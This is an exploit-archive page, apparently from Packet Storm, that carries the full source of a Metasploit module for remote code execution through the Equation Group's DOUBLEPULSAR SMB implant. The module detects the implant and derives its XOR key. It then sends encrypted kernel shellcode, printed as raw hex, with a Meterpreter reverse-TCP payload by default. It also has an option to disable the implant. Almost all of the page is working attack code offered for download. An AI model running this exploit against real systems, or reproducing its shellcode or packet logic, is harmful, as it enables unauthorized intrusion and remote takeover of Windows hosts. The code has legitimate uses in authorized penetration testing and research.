what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SMB DOUBLEPULSAR Remote Code Execution

SMB DOUBLEPULSAR Remote Code Execution
Posted Feb 4, 2020
Authored by Luke Jennings, wvu, Shadow Brokers, Equation Group, zerosum0x0, Jacob Robles | Site metasploit.com

This Metasploit module executes a Metasploit payload against the Equation Group's DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE. While this module primarily performs code execution against the implant, the "Neutralize implant" target allows you to disable the implant.

tags | exploit, code execution
advisories | CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148
SHA-256 | cf5398db6da1a49ffbf7822090a6afa83e60a3b163c1dbfa4962e518d4e655f6

SMB DOUBLEPULSAR Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::SMB::Client
include Msf::Module::Deprecated

moved_from 'exploit/windows/smb/doublepulsar_rce'

MAX_SHELLCODE_SIZE = 4096

def initialize(info = {})
super(update_info(info,
'Name' => 'SMB DOUBLEPULSAR Remote Code Execution',
'Description' => %q{
This module executes a Metasploit payload against the Equation Group's
DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.

While this module primarily performs code execution against the implant,
the "Neutralize implant" target allows you to disable the implant.
},
'Author' => [
'Equation Group', # DOUBLEPULSAR implant
'Shadow Brokers', # Equation Group dump
'zerosum0x0', # DOPU analysis and detection
'Luke Jennings', # DOPU analysis and detection
'wvu', # Metasploit module and arch detection
'Jacob Robles' # Metasploit module and RCE help
],
'References' => [
['MSB', 'MS17-010'],
['CVE', '2017-0143'],
['CVE', '2017-0144'],
['CVE', '2017-0145'],
['CVE', '2017-0146'],
['CVE', '2017-0147'],
['CVE', '2017-0148'],
['URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'],
['URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/'],
['URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/'],
['URL', 'https://github.com/countercept/doublepulsar-detection-script'],
['URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor'],
['URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1']
],
'DisclosureDate' => '2017-04-14', # Shadow Brokers leak
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Privileged' => true,
'Payload' => {
'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,
'DisableNops' => true
},
'Targets' => [
['Execute payload (x64)',
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
],
['Neutralize implant',
'DefaultOptions' => {
'PAYLOAD' => nil # XXX: "Unset" generic payload
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'AKA' => ['DOUBLEPULSAR'],
'RelatedModules' => [
'auxiliary/scanner/smb/smb_ms17_010',
'exploit/windows/smb/ms17_010_eternalblue'
],
'Stability' => [CRASH_OS_DOWN],
'Reliability' => [REPEATABLE_SESSION]
}
))

register_advanced_options([
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),
OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])
])
end

OPCODES = {
ping: 0x23,
exec: 0xc8,
kill: 0x77
}.freeze

STATUS_CODES = {
not_detected: 0x00,
success: 0x10,
invalid_params: 0x20,
alloc_failure: 0x30
}.freeze

def calculate_doublepulsar_status(m1, m2)
STATUS_CODES.key(m2.to_i - m1.to_i)
end

# algorithm to calculate the XOR Key for DoublePulsar knocks
def calculate_doublepulsar_xor_key(s)
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
x & 0xffffffff # this line was added just to truncate to 32 bits
end

# The arch is adjacent to the XOR key in the SMB signature
def calculate_doublepulsar_arch(s)
s == 0 ? ARCH_X86 : ARCH_X64
end

def generate_doublepulsar_timeout(op)
k = SecureRandom.random_bytes(4).unpack1('V')
0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00
end

def generate_doublepulsar_param(op, body)
case OPCODES.key(op)
when :ping, :kill
"\x00" * 12
when :exec
Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*'))
end
end

def check
ipc_share = "\\\\#{rhost}\\IPC$"

@tree_id = do_smb_setup_tree(ipc_share)
vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}")
vprint_status("Target OS is #{smb_peer_os}")

print_status('Sending ping to DOUBLEPULSAR')
code, signature1, signature2 = do_smb_doublepulsar_pkt
msg = 'Host is likely INFECTED with DoublePulsar!'

case calculate_doublepulsar_status(@multiplex_id, code)
when :success
@xor_key = calculate_doublepulsar_xor_key(signature1)
@arch = calculate_doublepulsar_arch(signature2)

arch_str =
case @arch
when ARCH_X86
'x86 (32-bit)'
when ARCH_X64
'x64 (64-bit)'
end

print_warning("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}")
CheckCode::Vulnerable
when :not_detected
print_error('DOUBLEPULSAR not detected or disabled')
CheckCode::Safe
else
print_error('An unknown error occurred')
CheckCode::Unknown
end
end

def exploit
if datastore['DefangedMode']
warning = <<~EOF


Are you SURE you want to execute code against a nation-state implant?
You MAY contaminate forensic evidence if there is an investigation.

Disable the DefangedMode option if you have authorization to proceed.
EOF

fail_with(Failure::BadConfig, warning)
end

# No ForceExploit because @tree_id and @xor_key are required
unless check == CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
end

case target.name
when 'Execute payload (x64)'
unless @xor_key
fail_with(Failure::NotFound, 'XOR key not found')
end

if @arch == ARCH_X86
fail_with(Failure::NoTarget, 'x86 is not a supported target')
end

print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
vprint_status("Total shellcode length: #{shellcode.length} bytes")

print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}")
xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode)

print_status('Sending shellcode to DOUBLEPULSAR')
code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:exec], xor_shellcode)
when 'Neutralize implant'
return neutralize_implant
end

case calculate_doublepulsar_status(@multiplex_id, code)
when :success
print_good('Payload execution successful')
when :invalid_params
fail_with(Failure::BadConfig, 'Invalid parameters were specified')
when :alloc_failure
fail_with(Failure::PayloadFailed, 'An allocation failure occurred')
else
fail_with(Failure::Unknown, 'An unknown error occurred')
end
ensure
disconnect
end

def neutralize_implant
print_status('Neutralizing DOUBLEPULSAR')
code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:kill])

case calculate_doublepulsar_status(@multiplex_id, code)
when :success
print_good('Implant neutralization successful')
else
fail_with(Failure::Unknown, 'An unknown error occurred')
end
end

def do_smb_setup_tree(ipc_share)
connect

# logon as user \
simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])

# connect to IPC$
simple.connect(ipc_share)

# return tree
simple.shares[ipc_share]
end

def do_smb_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)
# make doublepulsar knock
pkt = make_smb_trans2_doublepulsar(opcode, body)

sock.put(pkt)
bytes = sock.get_once

return unless bytes

# convert packet to response struct
pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct
pkt.from_s(bytes[4..-1])

return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2']
end

def make_smb_trans2_doublepulsar(opcode, body)
setup_count = 1
setup_data = [0x000e].pack('v')

param = generate_doublepulsar_param(opcode, body)
data = param + body.to_s

pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct
simple.client.smb_defaults(pkt['Payload']['SMB'])

base_offset = pkt.to_s.length + (setup_count * 2) - 4
param_offset = base_offset
data_offset = param_offset + param.length

pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0xc007

@multiplex_id = rand(0xffff)

pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
pkt['Payload']['SMB'].v['TreeID'] = @tree_id
pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id

pkt['Payload'].v['ParamCountTotal'] = param.length
pkt['Payload'].v['DataCountTotal'] = body.to_s.length
pkt['Payload'].v['ParamCountMax'] = 1
pkt['Payload'].v['DataCountMax'] = 0
pkt['Payload'].v['ParamCount'] = param.length
pkt['Payload'].v['ParamOffset'] = param_offset
pkt['Payload'].v['DataCount'] = body.to_s.length
pkt['Payload'].v['DataOffset'] = data_offset
pkt['Payload'].v['SetupCount'] = setup_count
pkt['Payload'].v['SetupData'] = setup_data
pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode)
pkt['Payload'].v['Payload'] = data

pkt.to_s
end

# ring3 = user mode encoded payload
# proc_name = process to inject APC into
def make_kernel_user_payload(ring3, proc_name)
sc = make_kernel_shellcode(proc_name)

sc << [ring3.length].pack('S<')
sc << ring3

sc
end

def generate_process_hash(process)
# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
proc_hash = 0
process << "\x00"

process.each_byte do |c|
proc_hash = ror(proc_hash, 13)
proc_hash += c
end

[proc_hash].pack('l<')
end

def ror(dword, bits)
(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
end

def make_kernel_shellcode(proc_name)
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
# Length: 780 bytes
"\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" \
"\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" \
"\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" \
"\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" \
"\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" \
"\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" \
"\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" \
"\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" \
"\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" \
"\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" \
"\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" \
"\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" \
"\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +
generate_process_hash(proc_name.upcase) +
"\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" \
"\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" \
"\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" \
"\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" \
"\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" \
"\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" \
"\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" \
"\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" \
"\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" \
"\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" \
"\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" \
"\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" \
"\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" \
"\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" \
"\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" \
"\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" \
"\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" \
"\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" \
"\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" \
"\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" \
"\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" \
"\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" \
"\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" \
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" \
"\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" \
"\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" \
"\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" \
"\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" \
"\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" \
"\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" \
"\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" \
"\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" \
"\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" \
"\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"
end

def kernel_shellcode_size
make_kernel_shellcode('').length
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close